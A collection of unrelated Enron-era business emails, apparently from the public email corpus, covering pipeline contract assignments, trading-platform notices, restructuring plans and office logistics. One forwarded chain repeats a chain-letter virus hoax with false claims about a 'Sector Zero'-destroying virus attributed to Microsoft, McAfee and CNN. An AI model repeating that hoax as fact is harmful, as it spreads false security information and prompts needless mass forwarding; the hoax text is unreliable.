Seeboard and Yorkshire. U.K. utilities have been squeezed recently
by taxes and regulated price cuts.
     Combining those businesses provided no major cost savings,
Draper said today.
     ``We think that keeping them separate gives us options,'' he
said. ``It simply made better sense to keep our options open.''
     AEP owns more than 38,000 megawatts of generation. About
25,000 megawatts of the company's generation will be deregulated
by the end of 2001. AEP also is the No. 2 power trader and
marketer after Enron Corp.
     Shares of Columbus, Ohio-based AEP rose $1.88 to $41.81.

--Margot Habiby mhabiby@bloomberg.net, and Daniel Taub
dtaub@bloomberg.net in San Francisco/alp/pkc

Story illustration: To compare AEP's earnings and shares
performance with other utilities, see {AEP US <Equity> RV <Go>}.

Gerald,

Please review and let's discuss.

Thanks,
Chris

From:  "Erazo Z., Ricardo (SIP_Stgo)" <ricardo.erazo@sipetrol.cl>@ENRON=20
[mailto:IMCEANOTES-+22Erazo+20Z+2E+2C+20Ricardo+20+28SIP+5FStgo+29+22+20+3C=
ric
ardo+2Eerazo+40sipetrol+2Ecl+3E+40ENRON@ENRON.com]=20
Sent: Thursday, May 24, 2001 5:37 PM
To: Hilgert, Chris
Cc: Harambour G.,Salvador (SIP_Stgo); Harambour, Alberto (SIP_USA); Reid, D=
an=20
(SIP_USA); Lee R., Patricio O. (Casa Matriz); Rodriguez M.,Federico=20
(SIP_Stgo); 'DANIELREID@AOL.COM'
Subject: Posesion/Ca=0Fadon and Daniel/Skua Fields Reactivation

Dear Chris:

In order to conclude the topic related to the subject, please consider the
attached letter.

Thanks very much

Ricardo Erazo

 <<Doc2.doc>>

 - Doc2.doc

A Peak Performance  employee will conduct a gait analysis clinic on Tuesday, 
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and apparel will also be on display from Peak Performance.
 Runners and walkers are welcome to attend.   For more information, call 
X7532, the Health Unit.
Elizabeth Jones

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Whats up Mike?  Just thought that I would drop you a line and see how things
were going.  Hows the wife and kid?  San Fran. is cool, don't worry, I
haven't meet a boyfriend yet!  Drop me a line sometime and let me know what
you are up to.  CJ

Send me Phil's number and email, thought I would look him up since he only
lives an hour away,

From: 	Armstrong, Julie   On Behalf Of McCarty, Danny
Sent:	Monday, December 10, 2001 4:21 PM
To:	Watson, Kimberly; Lohman, TK; Lindberg, Lorraine; Lokay, Michelle; McConnell, Mark; Y'barbo, Paul; Gadd, Eric; Wadle, Susan; Dowd, Stephen; Millar, John; Harris, Steven; Robertson, Audrey; Donoho, Lindy; Moore, Jan; Jones, Dana; Centilli, James; Armstrong, Julie; Junus, David; Hyatt, Kevin
Subject:	Group lunch

It has been a tough couple of months and I know that each of you have worked hard.  I appreciate your time and commitment and hoped to something for the staff but, due to the company's dire situation, it is not possible.   
Please join me for a group lunch at Little Pappasito's on Thursday, December 20th at 11:30.  As much as I would like to treat the group, everyone would be responsible for their meal.
Please RSVP to Julie Armstrong at x33597. Hope you can attend. Thanks.

Suzanne:
Please set up a 1 hour meeting sometime next week with the following folks to 
talk about weather issues:
me
sara
Lucy Ortiz
Gary Taylor
Seth Hurwitz

Lucy can help you pick a time that works for her group.  thanks.

carol

My recollection is that we did this on purpose - that the industry works this 
way for all participants (or nearly all) so we built our documents to reflect 
that practice.  Do I remember correctly?
---------------------- Forwarded by Mark Taylor/HOU/ECT on 02/17/2000 06:05 

David Forster
02/17/2000 01:59 PM
To: Debbie R Brackett/HOU/ECT@ECT, Edmund Cooper/LON/ECT@ECT, Justin 
Boyd/LON/ECT@ECT, Mark Taylor/HOU/ECT@ECT
cc: Dale Neuner/HOU/ECT@ECT, Mark Dilworth/LON/ECT@ECT 
Subject: Collateral GTC's

All,

I am aware that early in the EnronOnline process, some GTC's were only 
generated for the "With Collateral" category and hence, all companies 
transacting in that commodity were subject to the collateral clause.

I am now starting to wonder if this was an oversight, or if there is a reason 
why all counterparties should be bound by a collateral clause for the 
following GTC's/Products:

I would appreciate any insight which any of you can offer.

Thanks,

Dave

Start Date: 4/20/01; HourAhead hour: 23;  No ancillary schedules awarded.  
Variances detected in Energy Import/Export schedule.
Variances detected in SC Trades schedule.

Schedules\2001042023.txt

+++ Hour 23 - bad data from ISO.
  SC_ID: ECTstCA
  TRANS_DATE: 4/20/01
  TIE_POINT: PVERDE_5_DEVERS
  INTERCHG_ID: EPMI_CISO_5001
  ENGY_TYPE: FIRM
  SC_ID: ECTstSW
  TIE_POINT: FCORNR_5_PSUEDO
  INTERCHG_ID: EPMI_CISO_4000
  INTERCHG_ID: EPMI_CISO_4001
  INTERCHG_ID: EPMI_CISO_5000

---- SC Trades Schedule ----
$$$ Variance found in table tblInt_Interchange.
     Details: (Hour: 23 / Preferred: -700.00 / Final: -699.97)
  TRADING_SC: WESC
  PNT_OF_INTRC: SP15
  SCHED_TYPE: ENGY
  PURCH_SALE: 1
  DEAL_NO: 1

---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 01/02/2001 
07:52 AM ---------------------------

Robert Johnston
12/29/2000 04:23 PM
To: Bjorn Hagelmann/HOU/ECT@ECT, Steinunn Thordardottir/HOU/ECT@ECT
cc: Jeffrey A Shankman/HOU/ECT@ECT, Scott Tholan/Corp/Enron@Enron, Brendan 
Fitzsimmons/NA/Enron@Enron 
Subject: Venezuela/LNG

Steinunn- per your request, please find attached our initial report on 
political risk in the Venezuelan gas sector.  A more general report on 
Venezuelan political and economic conditions will follow next week.

Manager, Market Analysis
Competitive Analysis Group
x39934
rjohnst@enron.com

Rick

I would like to request an extension of the 45 million limit until Friday.  
We like gas and we would like to maximize this move.

Stacey/TJ:

I need to be setup on EOL with the appropriate book for  SOCO (EPMI-LT-SERC?).  I start on Monday Oct. 29th.

Let me know if you need additional information.

Thanks.

(713) 853-5267 work
(713) 443-5267 mobile
(877) 597-0646 pager 
email: john.suarez@enron.com

Marlene, 

 I am forwarding to you for your further handling all of the Amendments 
relating to the Oasis contracts, the three unexecuted contracts, and the our 
assignment (from ENA to HPL) execution originals, all discussed below.
A few notes relating to this matter:
 (1)  Darren Farmer has initialled off on some of the amendments and 
contracts, but not all of them.  His initials need to be obtained.
 (2)  Firm Intrastate (Global Number 96045681) has been initialled by Legal, 
we did however, make one change/deletion to the force Majeure provision of 
this contract.
 
 If you have any questions, concerns or comments please give me a call.

Thanks,

Eric Gillaspie
713-345-7667
Enron Building 3886

	Marlene Hilliard
	08/18/2000 09:31 AM
		 
		 To: Eric Gillaspie/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Oasis Transportation K's

Eric,

I have set these contracts up Global Contracts.

      Oasis Contract No. Global Contract No.  

(1)  Parking and Loan Agreement  028-27099-13-001         96045679  05/01/2000

(2)  Parking and Loan Agreement  028-27099-13-002          
96045680                     05/01/2000

(3)  Firm Intrastate Gas Transportation                      
028-27099-13-002                       96045681                     04/01/2000
       Agreement 

If you have any questions, please do not hesitate to contact me.

Marlene Hilliard
---------------------- Forwarded by Marlene Hilliard/HOU/ECT on 08/18/2000 
09:26 AM ---------------------------

08/16/2000 11:26 AM
To: Eric Gillaspie/HOU/ECT@ECT
cc:  
Subject: Re: Oasis Transportation K's

Eric,

We left off three contracts between Oasis Pipe Line Company.

              Oasis Contract No.

(1)  Parking and Loan Agreement           028-27099-13-001  05/01/2000

(2)  Parking and Loan Agreement          
028-27099-13-002                      05/01/2000

(3)  Firm Intrastate Gas Transportation Agreement        
028-27099-02-005                 04/01/2000

Should we include the Purchase/Sale contracts? Sandra Grimes informed me of  
Oasis Contract No. 028-27099-01-001 effective 5/1/2000.  Should this be on 
this Exhibit A as well.

She also inquired as to the status of the contracts that I route to you for 
signature.

3-9167
---------------------- Forwarded by Marlene Hilliard/HOU/ECT on 08/16/2000 
10:37 AM ---------------------------

08/11/2000 01:46 PM
To: Marlene Hilliard/HOU/ECT@ect
cc: Gerald Nemec/HOU/ECT@ECT, Stacey Neuweiler/HOU/ECT@ECT 
Subject: Re: Oasis Transportation K's  

Marlene, 

I am forwarding the 2 execution originals of the ENA to HPL assignment of 
Oasis transportation contracts for your further handling.  The assignment 
covers the following contracts:

(1)  Interruptible NGPA Section 311  96019482   2/1/99
 Gas Transportation Agreement

(2)  Firm Intrastate Gas Transportation   96019481   2/1/99
 Agreement

(3)  Interruptible Intrastate Gas   96016667   8/1/99
 Transportation Agreement

(4)  Interruptible NGPA Section 311   96015445   11/1/97

Thanks for your assistance,

	08/10/2000 08:19 AM
		 
		 cc: 
		 Subject: Re: Oasis

Eric,

(2) 96016654 does not have any deals attached.  I have terminated this 
contract in Global Contracts.  You can proceed with the Assignment.

Marlene
---------------------- Forwarded by Marlene Hilliard/HOU/ECT on 08/10/2000 
08:17 AM ---------------------------

08/09/2000 09:56 PM
cc:  
Subject: Re: Oasis

Eric,

(1) Yes,  "Happy Netting Agreements" are never papered and are used solely 
for accounting purposes.  They are used on the Puchase/Sale Contracts.  
Further, Pipeline Netting Contracts are never papered and are used solely for 
accounting purposes.  They are used on teh Transportation Contracts.

(2)  First thing in the morning I will check to see if deals are attached to 
the contract.  Then I can terminate the contract.  Otherwise, I can not 
terminate the contract.  I doubt if deal are because Sandra Grimes at Oasis 
Pipe Line Company indicated that the thirdd party no. did not belong to 
them.  

Marlene
Ext. 3-9167 
---------------------- Forwarded by Marlene Hilliard/HOU/ECT on 08/09/2000 
09:45 PM ---------------------------

08/09/2000 06:31 PM
cc:  
Subject: Re: Oasis  

Marlene,

(1) I'm not familiar with Happy Netting.  Are "Happy Netting Agreements" not 
papered and used solely for accounting purposes?; and
If you terminate the Parking contract then we can proceed with the assignment 
from ENA to HPL.  (2) Please inform me of your decision to terminate the 
Parking contract.

Thanks,

	08/08/2000 03:22 PM
		 
		 cc: Gerald Nemec/HOU/ECT@ECT
		 Subject: Oasis

Netting Agreement 96019013:  This is Happy Netting - No Paper Exist for this 
Agreement.  The notes on the Core Main Tab  indicates this. 

Parking 96016654:  I spoke with  Sandra Grimes at Oasis Pipe Line Company and 
she indicated that this contract did not exist in their system.  They do not 
have any documentation.  Their contract nos. start with 028......she is not 
aware of OPLC Synthetic as their contract no..  Therefore,  the other Parking 
and Loan Agreements effective May 1, 2000 are not the same contract.  
Further, the documented status confirms that no paper exist and was setup in 
completely.  

I will probably terminate this contract in Global Contracts becasue it 
appears that it was setup in error. In fact, the contract does not have 
contracted services.

Should you have any further questions, please do not hesitate to contact me.

Marlene
3-9167

---------------------- Forwarded by Marlene Hilliard/HOU/ECT on 08/08/2000 
02:47 PM ---------------------------

08/08/2000 02:31 PM
cc: Gerald Nemec/HOU/ECT@ECT 
Subject: Oasis

Marlene,

I'm reviewing the amendments to the Oasis contracts that you have forwarded 
to me.  I have also completed the Assignment (ENA to HPL) for the following 
contracts:

ASSIGNED GAS TRANSPORTATION CONTRACTS

_______Caption:   Global Contract No:  Effective Date:_____
(1) Interruptible NGPA Section 311  96019482   2/1/99

(2) Firm Intrastate Gas Transportation   96019481   2/1/99
 Agreement

(3) Netting Agreement (confirmed only)  96019013   1/1/99

(4) Interruptible Intrastate Gas   96016667   8/1/99

(5) Parking (documented)    96016654   7/1/98

(6) Interruptible NGPA Section 311   96015445   11/1/97

The only outstanding issue is that the Netting Agreement (96019013) and the 
Parking Agreement (96016654) are not papered.  In order to assign the 
documents they need to be papered.  Would you please work with Oasis to get 
these papered as they are the transporter. (It should be their paper).

Thanks,

What do we do about the Pipelines?  Do we include them in our Customer phases?

Thanks,
Mike

Sent:	Thursday, December 27, 2001 4:58 PM
To:	Belden, Tim; Calger, Christopher F.; Presto, Kevin M.; Duran, W. David; Robinson, Mitch; Forster, David; Curry, Mike; Arnold, John; Shively, Hunter S.; Milnthorp, Rob; Zufferli, John; Luce, Laura; Vickers, Frank; Neal, Scott; Lagrasta, Fred; Aucoin, Berney C. ; Steffes, James D.; Roberts, Mike A.; Grigsby, Mike; Tycholiz, Barry; Allen, Phillip K.; Redmond, Brian; Martin, Thomas A.
Cc:	Lavorato, John
Subject:	Re-start/Integration Planning

We have for the last couple of weeks started to compile the Re-start/Integration Plans for Netco.  So far, we have primarily focussed on the mid/back plans where the technology requirements have been the driving factors.  Several plans are in the final stages of completion including:-

+	Infrastructure		Jenny Rub
+	Development		Jay Webb
+	EnronOnline		Webb / Forster
+	HR			David Oxley
+	Cash Management	Tom Myers
+	Credit			Debbie Brackett

The rest will be completed shortly.

We now need to focus on the commercial plans which have a slightly different focus. John and I would like to receive the plans "Re-start/Integration"  plans by January 7th, 2002 in order to go through them individually with each of you or in groups.  The focus should be to ensure that we have as much of the business up and running in the shortest time possible.  I have a suggested outline which you do not have to use but I thought it might help.  Please decide within yourselves the areas you will cover together or individually.

Customer Side	
+	Customers		Phase  1 - First Week (eg top 10)
				Phase  2 - First Month (eg top 50)
				Phase  3 - First Quarter (eg top 100)
+	Action Plan		Phase  1 Customers
				Phase  2 Customers
				Phase  3 Customers
+	Contracts by customers (pre-prepared with credit terms etc)
+	Customer visit schedule

Product Side
+	List of Products	Phase 1 - First Week
				Phase 2 - First Month
				Phase 3 - First Quarter

Target Number of Transactions
+	Phase 1
+	Phase 2
+	Phase 3

IT transfer 

Louise

FYI
----- Forwarded by Jeffrey A Shankman/HOU/ECT on 02/22/2001 10:25 AM -----

	halley k harrisburg <hkh@michaelrosenfeldglry.com>
	02/22/2001 10:16 AM
		 
		 To: Beth Miller <beth.miller@yale.edu>, Caren Polner <caren@cp-design.com>, 
Jeff Shankman <Jeff.Shankman@enron.com>, Karlyn 
<main@michaelrosenfeldglry.com>, Nathaniel Jeppson <Njeppson@ALLENCO.COM>, 
Nina Meledandre <pirondelle@aol.com>
		 cc: 
		 Subject: [Fwd: Fwd: Virus Alert]

----- Message from Judy Miller <vpa@earthlink.net> on Wed, 21 Feb 2001 
19:47:12 +0000 -----
To:	Beth Pinard <Magclbeth@aol.com>, David Leonard <pfc2000@bellatlantic.net>, 
"Elke (work)" <EGoldstein@SAI.Shiseido.com>, Gina Ianuzzi <gmqi@aol.com>, 
halley k harrisburg <hkh@michaelrosenfeldglry.com>, Gary Miller 
<garymiller33@aol.com>, Jeff Golub <jeffreyg15@aol.com>, Jennifer Levy 
<jklasong@aol.com>, Lea DiPerna <ldiperna@hotmail.com>, Lisa Nocera 
<lmnocera@hotmail.com>, Mark Ramsey <NewYorkMTR@aol.com>, Mary Borges 
<Pretennda@aol.com>, MaryAnn Price <mprice@phtl.com>, Melissa & Tom Kowall 
<kowall97@earthlink.net>, Maureen Rodriguez <disneymo@hotmail.com>, "Mike 
Marosy (home)" <mmarosy@hotmail.com>, Mrs Nocera <leonoren@aol.com>, Nick 
Gold <nickgold@entertainmenttvl.com>, Steve Conte <Thnderdog@aol.com>, Steve 
Gaboury <LivewireSG@escape.com>, Steve Postel <StevePostell@aol.com>, Suzy 
Cline <EXCBSer@aol.com>, Thayme Woelfl <ThaymeW@aol.com>, Victoria Newland 
Sofge <victoria@paradiseartists.com>, Wees <weegoofy@frontiernet.net>
cc:	Carole Kowall <CDKowall@cs.com>
Subject:	Re: Fwd: Virus Alert
> 
> > > > > > << Virus Alert
> > > > >>>> > > > >>>>A new virus has just been
> discovered that has been classified
> by
> > > > >>>>Microsoft (www.microsoft.com) and by McAfee
> (www.mcafee.com)
> as
> > > > >>>>the most destructive ever! This virus was
> discovered
> yesterday
> > > > >>>>afternoon by McAfee and no vaccine has yet
> been developed.
> This
> > > > >>>>virus simply destroys Sector Zero from the
> hard disk, where
> vital
> > > > >>>>information for its functioning are stored.
> This virus acts
> in the
> > > > >>>>following manner: It sends itself
> automatically to all
> contacts
> > > > >>>>on your list with the title "A Virtual Card
> for You". As soon
> as
> > > > >>>>the supposed virtual card is opened, the
> computer freezes so
> that
> > > > >>>>the user has to reboot. When the
> ctrl+alt+del keys or the
> reset
> > > > >>>>button are pressed, the virus destroys
> Sector Zero, thus
> > > > >>>>permanently destroying the hard disk.
> > > > >>>>Yesterday in just a few hours this virus
> caused panic in New
> York,
> > > > >>>>according to news broadcast by CNN
> (www.cnn.com). This alert
> was
> > > > >>>>received by an employee of Microsoft itself.
> So don't open
> any
> > > > >>>>mails with subject "A Virtual Card for You".
> As soon as you
> get
> > > > >>>>the mail, delete it. Please pass on this
> mail to all your
> friends.
> > > > >>>>Forward this to everyone in your address
> book. I would rather
> > > > >>>>receive this 25 times than not at all.
> > > > >>>>Also: Intel announced that a new and very
> destructive virus
> was
> > > > >>>>discovered recently. If you receive an email
> called "An
> Internet
> > > > >>>>Flower For You", do not open it. Delete it
> right away! This
> virus
> > > > >>>>removes all dynamic link libraries(.dll
> files) from your
> computer.
> > > > >>>>Your computer will not be able to boot up.

Let's try the last row window seat.  Thanks.  

	From:  Patti Thompson                           01/16/2001 10:47 AM
	
cc:  
Subject: Airline seats

Sally,

Per Catherine at Travel Agency in the Park, bulkhead seats were all that were 
available when she booked flight 3 or 4 weeks ago.  Says those particular 
flights have gotten quite popular lately.  Only other option for return:

Same isle (E)
 - Row 8 (also bulkhead, but maybe not as noisy)
 - Last row window seat (doesn't recline as much as other seats)

If you like either of these better that existing seat, let me know & I change 
it.

PT

FYI
----- Forwarded by Sara Shackleton/HOU/ECT on 07/24/2000 11:20 AM -----

	Jaime Williams@ENRON
	06/13/2000 08:18 PM
		 
		 To: Jeff Blumenthal/HOU/ECT@ECT
		 cc: Mario Parra Cardoso/Corp/Enron@Enron, Susan Helton/HOU/ECT@ECT, Alberto 
Carreno/NA/Enron@ENRON, Rod Nelson/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, 
Sara Shackleton/HOU/ECT@ECT
		 Subject: EOL list

Jeff, I am sending you the specific information of the indexes and products 
that we believe our customers would be trading on EOL.....Please take a look 
at the file attached, and the page with Index Definitions, for the 
information you are looking for. The trades will be performed based on 
indexes taht already exist in OEL, so no new Mexican Indices will be 
included.   Please note however, that the mexican gas is priced in Mexico on 
the basis of the Tetco/Valero basket. So, most probably, that same basket 
will be included in the system to accomodate to our customer's needs. 
Please note that Carol St Clair will be helping us on the legal aspects of 
including Mexico into the EOL system.
Thanks and regards. 

---------------------- Forwarded by Jaime Williams/NA/Enron on 06/13/2000 
05:37 PM ---------------------------

Alejandro Montemayor
06/13/2000 03:32 PM
To: Jaime Williams/NA/Enron@ENRON
cc:  

Subject: EOL list

Jaime
Aqui te mando el archivo de la lista de clientes EOL, en el mismo archivo ya 
esta la descripci?n de cada uno de los productos. Son tres los productos que 
no estan en EOL: el promedio Tetco y PG&E; el poliestireno y el PET. 

Por otro lado para el polietileno esta la descripci?n para el LLDPE.

Si se requiere alg?n cambio solo avisame.
Saludos

Alex

Go ahead.

From: Elizabeth Linnell on 04/25/2001 04:53 PM
To: Steven J Kean/NA/Enron@Enron
cc:  

Subject: Government Affairs Meeting

Do you mind if the professionals in my group attend?  5 people (assuming they 
all want to go - Margo, Miyung, Linda, Lynnette and Earlene) each at $190 for 
airfare, $380 for two hotel nights, plus shuttle services and misc expenses.  
I'm always encouraging my group to interact with Rick's group, as Gov't 
Affairs is our primary customer base.  

I'm not planning to attend the meeting.

Thanks!
----- Forwarded by Elizabeth Linnell/NA/Enron on 04/25/2001 04:50 PM -----

	Ginger Dernehl
	04/25/2001 04:31 PM
		 
		 To: Elizabeth Linnell/NA/Enron@Enron
		 cc: 
		 Subject: Government Affairs Meeting

Well, the time has arrived for me to let you know what is in store for 
everyone at the next Government Affairs department meeting on Thursday, June 
14.  The meeting will take place at:

The Omni Interlocken
500 Interlocken Blvd.
Broomfield, Colorado  80021
Phone# 303-438-6600
Fax# 303-464-3252
Check-in time  3:00 p.m.
Check-out time  12:00 p.m. (Noon)

The  Government Affairs meeting will take place on Thursday, June 14 and will 
begin at 8:00 am and will conclude by 11:30 am.  I have arranged for box 
lunches to be served after the meeting.   After the meeting, we will have the 
remainder of the day for some fun activities, along with a buffet dinner 
served that evening to complete the day (on-site dinner location TBD).  

Block of Rooms - A block of rooms have been reserved for Government Affairs.  
I will be turning in a rooming list to the hotel next week so, I  would like 
to know by Friday, April 27 your plans to attend the meeting.   

Shuttle Service -  See attachment for shuttle times.  Please note, a return 
reservation from the hotel to the airport is required.  Please contact the 
Concierge to arrange for shuttle service.

Colorado Weather - For the month of June, you can expect the 
following:         
High's - 80.............Low's - 52

Flights from Houston - I have checked with TAP for roundtrip flights from 
Houston - Denver, Denver - Houston and an exceptionally great 
(non-refundable) fare of $190.94 is available.  However, fares are not 
guaranteed until actually booked.   Let's book early!!!!!

The activities to choose from are as follows:  Please let me know by May 4 
your choice of activity!!!!!!

Whitewater Rafting - A bus will leave the Omni Interlocken Resort at 2:00pm 
to head for an afternoon of exciting adventure on Colorado's Clear Creek.  
The Arkansas River is one of the most popular whitewater adventures anywhere, 
combining spectacular scenery and action packed rapids.  Teamwork is the name 
of the game as your team paddles down these tumbling cascades.  Continuous 
class III and IV rapids will thrill guests throughout the run. Drop over 
Nomad, surge through the Phoenix Holes and take on the class IV climax, the 
Outer Limits.  Good physical condition and the ability to swim are 
recommended.  The group will have three thrilling hours on the river and will 
return to the Omni by 6:15pm.

Chautauqua Park Hiking Adventure - One of the most popular access points for 
mountain hiking trails in Boulder is Chautauqua Park. The focal point is the 
100-year-old dining hall.  The Colorado Chautauqua is one of only four of the 
original Chautauquas still operating in America, as opposed to when thousands 
dotted the nation and culturally enriched rural people in the early 1900s. 
The tour includes: transportation, professional guide service, two hours of 
guided hiking - total time for excursion is 4 hours. (Dress code: Shorts or 
hiking attire, appropriate footwear, sunglasses, sunscreen and hats).  
Departure time and return will be relayed at a later date.

Spa Services -  The Spa at Omni Interlocken Resort offers a number of spa 
services (massages, facial & skin care treatments, body treatments or nail 
services, to name a few).  If you are interested in this as an activity, 
please let me know and I will fax a detailed list of their services.  You 
will need to call the spa and schedule your own appointment if this is the 
activity you choose.

Golf -  For the golf enthusiasts, an afternoon of golf at the Omni 
Interlocken 27-hole championship golf course which stretches out over 300 
acres of verdant fairways is another activity to select from.  Spectacular 
panoramic views from three 9-hole courses, which feature more than 400 feet 
in elevation changes.  If this is the activity of choice please respond via 
e:mail and I will add you to the list.  The game of choice will be "best 
ball" play.

Biking -  Scenic bike paths are located near the hotel for those with 
interest.  If this is your choice of activity, please let me know and I will 
reserve a bike and map for you enjoyment.

After reviewing the choices above, please select an activity you prefer to 
take part in.  Due to the fact that our group is so large, (which makes it 
more difficult to coordinate activities) once you select an activity, we ask 
that you not change your selection.  So, please talk to your colleagues ahead 
of time before making your choice.

Thanks and don't hesitate to call me if you have any questions.

Gngr

 - SuperShuttle.doc
 - Directions from DIA with map.doc

Begining 6/4/01 most North American Gas and Power quotes will be displayed on and transactable from the TRUEQUOTE trading platform. Please call me if you have any questions or need more information. Thanks.

Savita
X31787

Richard
I spoke to the head of origination to make sure he was alerted to Stu Zisman
in case the resume comes in form another a source.  Gave a good reference,
the background story.  Mark is interested.  Have Stu send me his details to
my email: jebeling@tractebelusa.com and I will see that it gets to where it
needs to be.
Jim

Please be advised that a conference call has been scheduled regarding Project 
Stanley on this Friday, October 27, 2000 at 10:30a.m. central time.  The dial 
in number is 1-800-998-2462.  Passcode 4309724.

If you have any questions, please give me a call.

Thanks.

Richard

Sounds good.  Shoot me your number and I will call you that morning.  My
direct is 713-844-6403 and my cell is 713-826-7516.  See you next Tuesday.

From: Steffes, James D. [mailto:James.D.Steffes@enron.com]
Sent: Tuesday, November 13, 2001 7:52 AM
To: smerz@mreconsulting.com
Subject: RE: catch up

How about Tuesday the 20th?  Should be relatively slow.

Jim

> From: 	"Shane Merz" <smerz@mreconsulting.com>@ENRON
> Sent:	Monday, November 12, 2001 8:40 PM
> To:	Steffes, James D.
> Subject:	catch up
>
> Hi Jim,
>
> What's your calendar look like next week?  Can you get lunch one day?
>
> Shane

Thank you.

Kevin -

I will be in Dallas today and will miss our weekly meeting.  Dale has a ver=
y good presentation for the group.  If you would like Berney to attend on m=
y place let him know. =20

Other issues: =20

I left Janet a voice mail y-day on LSE's and she returned it saying she wan=
ted to discuss with me this am and that they have already allocated those L=
SE's to deals.  I have asked Joe to come up with all of our alternatives in=
 order to get additional LSE's and to provide me with detailed reasons why =
we need them.  I don't want to make this into too big of a deal so we will =
assess all options. =20
Site Profile:
Vlady and Woulfie feel that they need to be able to buy/sell shaped swaps t=
o manage their "risk".  I don't think so.  Essentially, they had proposed t=
hat they can look at all commodity deals that get executed and "keep" part =
of the deal for their book.  I told them that this was ludicrous.  They eve=
n indicated that they might want to just buy certain hours for certain mega=
watts.  My position is that 1) they do not need to trade swaps - shaped or =
not - to manage their portfolio as the forecast should always contain their=
 best view of the market and outright swaps would be VAR increasing, 2) onl=
y one desk - the commodity desk - should manage shape, 3) i do not offer sh=
aped products as a tradeable product at this time 4) they already will own/=
manage products that best mitigate their risks and that I would have to buy=
 to cover - DG, Load Curtailment, DSM, etc.  Anyway, I have had several dis=
cussions with them and I think Vlady understands where I am coming from.  I=
n case this comes up you will know my thoughts.

Load Forecasting:  I need to spend some time with Tim, Jeff, Ozzie, Vlady, =
Woulfe, but I really would like to see us roll Retail Load Forecasting (Mik=
e Frazier) into ROC.  Who officially owns ROC (Lloyd?).

I will be available buy cell or pager if you need me.

RH

From: =09Furrow, Dale =20
Sent:=09Thursday, October 18, 2001 7:46 AM
To:=09Lavorato, John
Cc:=09Belden, Tim; Herndon, Rogers
Subject:=09Presentation: URM

John,
Tim and Rogers asked me to put together a presentation on URM for you and t=
he Thursday meeting.  I'm finishing it now.  If we have time on the agenda =
(figure about 1/2 hour--14 slides) I'd like to do it today.  Please let me =
know.

Thanks,
Dale

heard it down here from D. Gilbert-Smith...don't know where he heard it.

From: 	Shively, Hunter S.  
Sent:	Wednesday, July 11, 2001 7:22 AM
To:	Sturm, Fletcher J.

I have not heard this

From: 	Sturm, Fletcher J.  
Sent:	Wednesday, July 11, 2001 7:20 AM
To:	Shively, Hunter S.
Subject:	

Huntman,

Any truth to the rumor about Johnny leaving the group (not the company)?

Fletch

---------------------- Forwarded by Kay Mann/Corp/Enron on 01/10/2001 01:55 

Kay Mann
01/10/2001 01:51 PM
To: stephen.swift@ps.ge.com, mike.barnas@ps.ge.com
cc:  

Subject: RE: invoice information/TurboPark

Viola!
---------------------- Forwarded by Kay Mann/Corp/Enron on 01/10/2001 01:50 

Kay Mann
01/03/2001 11:18 AM
To: lee.johnson@ss.ps.ge.com
cc:  

Subject: RE: invoice information/TurboPark  

Lee,

The best way to go about it would be to send the invoice to Jody, but copy 
the Enron project folks you have been dealing with.  

Are we ready to sign the Fountain Valley contract?  I would think that we 
could sign the change order at the same time, and payment terms can be 
whatever the Enron project team has bought in to.  The banks won't care.

Have you seen sig pages for ESA yet?  

Kay

lee.johnson@ss.ps.ge.com on 01/03/2001 09:00:30 AM
To: Kay.Mann@enron.com
cc:  

Kay,

Please confirm that this will be the invoicing address for the 6 units bound
for Fountain Valley Project and 4 units pegged to LV Cogen Expansion.  Also,
we've still got a change order needed for Fountain Valley for the 6 Power
System Stabilizers and 2 Exhaust Stacks.  LV is also saying they will need 4
Power System Stabilizers, but haven't confirmed their order.

Thanks,

Lee

Sent: Tuesday, January 02, 2001 6:06 PM
Subject: invoice information/TurboPark

E-Next Generation LLC
Mr. Jody Pierce
1400 Smith, EB 2480
Houston, Tx 77002

I concur legally and contractually.  That was the intent of the agreement.  
All we gave up was our right to LD claims for construction schedule and 
initial performance, not for warranty claims.

However, given that the total amount is on the order of $0.4MM and given that 
SW's cooperation is vital in getting a written letter stating that running 
the Gleason units through the summer will not be detrimental, and 
vane/diagram replacement will be under warranty in October, I believe it 
might prove more valuable to wait until after closing to initiate a claim.

Legally speaking, once we close, do we still have the right to collect on a 
warranty claim??

Mitch 

From: Stuart Zisman@ECT on 04/20/2001 09:34 AM
To: Ross Newlin/HOU/EES@EES
cc: Mitch Robinson/Corp/Enron@Enron, Don Miller/Enron@EnronXGate, Kay 
Mann/Corp/Enron@Enron 

Subject: Westinghouse - State Group Claims

I spoke with Kay and she agreed that her interpretation of the settlement 
letter was the same as mine (i.e. no waiver of warranty claims or claims of 
faulty construction/design).  Subject to Mitch's agreement (because he had 
the primary role in the negotiation of that settlement with Westinghouse), we 
would suggest writing a letter alerting Westinghouse of our claim and of our 
desire to meet quickly to discuss this matter.  The letter might also suggest 
that if we are not able to resolve this matter quickly we expect to draw down 
on the letter of credit.  This latter threat might gain the level of 
attention that we desire.  Of course, I would be careful about how it is 
phrased (it might be worthwhile to run it by Andy Edison, the litigator).

Stuart

Attached is the summary for Petro-Canada.

Let me know should you have any questions.

Phil Polsky

As discussed for the last several days, attached is the latest version of the 
"Pat Wood transmission straw man."  It is virtually the same as what I sent 
to you earlier with the exception of some lettering changes.  Our initial 
comments are that "H" and "K" are non-starters for Enron and that "C (3)" 
must be changed to read:  "that all users of transmission facilities within 
the RTO will be under the same rates, terms and conditions of the same tariff 
to ensure non-discriminatory access to the electric transmission grid under 
non-discriminatory rates, terms and conditions;".

Please advise as soon as possible (i.e. close of business today) should there 
be additional issues raised in this context.  Many thanks.

 - dummytransmissionidea.0629.doc

Hi Sara, I believe I made all of the changes.  Holli said there is not an 
exercise date for this deal.  Let me know if this looks OK.

Thanks!
Melissa

From: Sara Shackleton on 08/22/2000 11:12 AM
To: Melissa Ann Murphy/HOU/ECT@ECT
cc:  
Subject: Puget Sound - put language (remainder of confirm has been faxed to 
you)

for "Cash Settlement Amount":

If for any Determination Period, the Floating Price is less than or equal to 
the Strike Price, an amount equal to the product of (i) the Notional Quantity 
per Determination Period multiplied by (ii) the excess of the Strike Price 
over the Floating Price, which amount shall be due and payable by the Seller 
on the applicable Payment Date for such Determination Period.

P.S.  Melissa:  In the future, send me the deal ticket for review.

what do you think of the avs chances tonight?  don't forget your clubs.

Barbara Gray asked me to forward the attached draft of the Back to Back 
agreement for your review and comments.  This is the agreement contemplated 
by the letter dated June 1, 2001 relating to the Guadalupe Power Partners 
L.P. agreement.

I want to make sure Joni sees everyting on CGAS as well. 

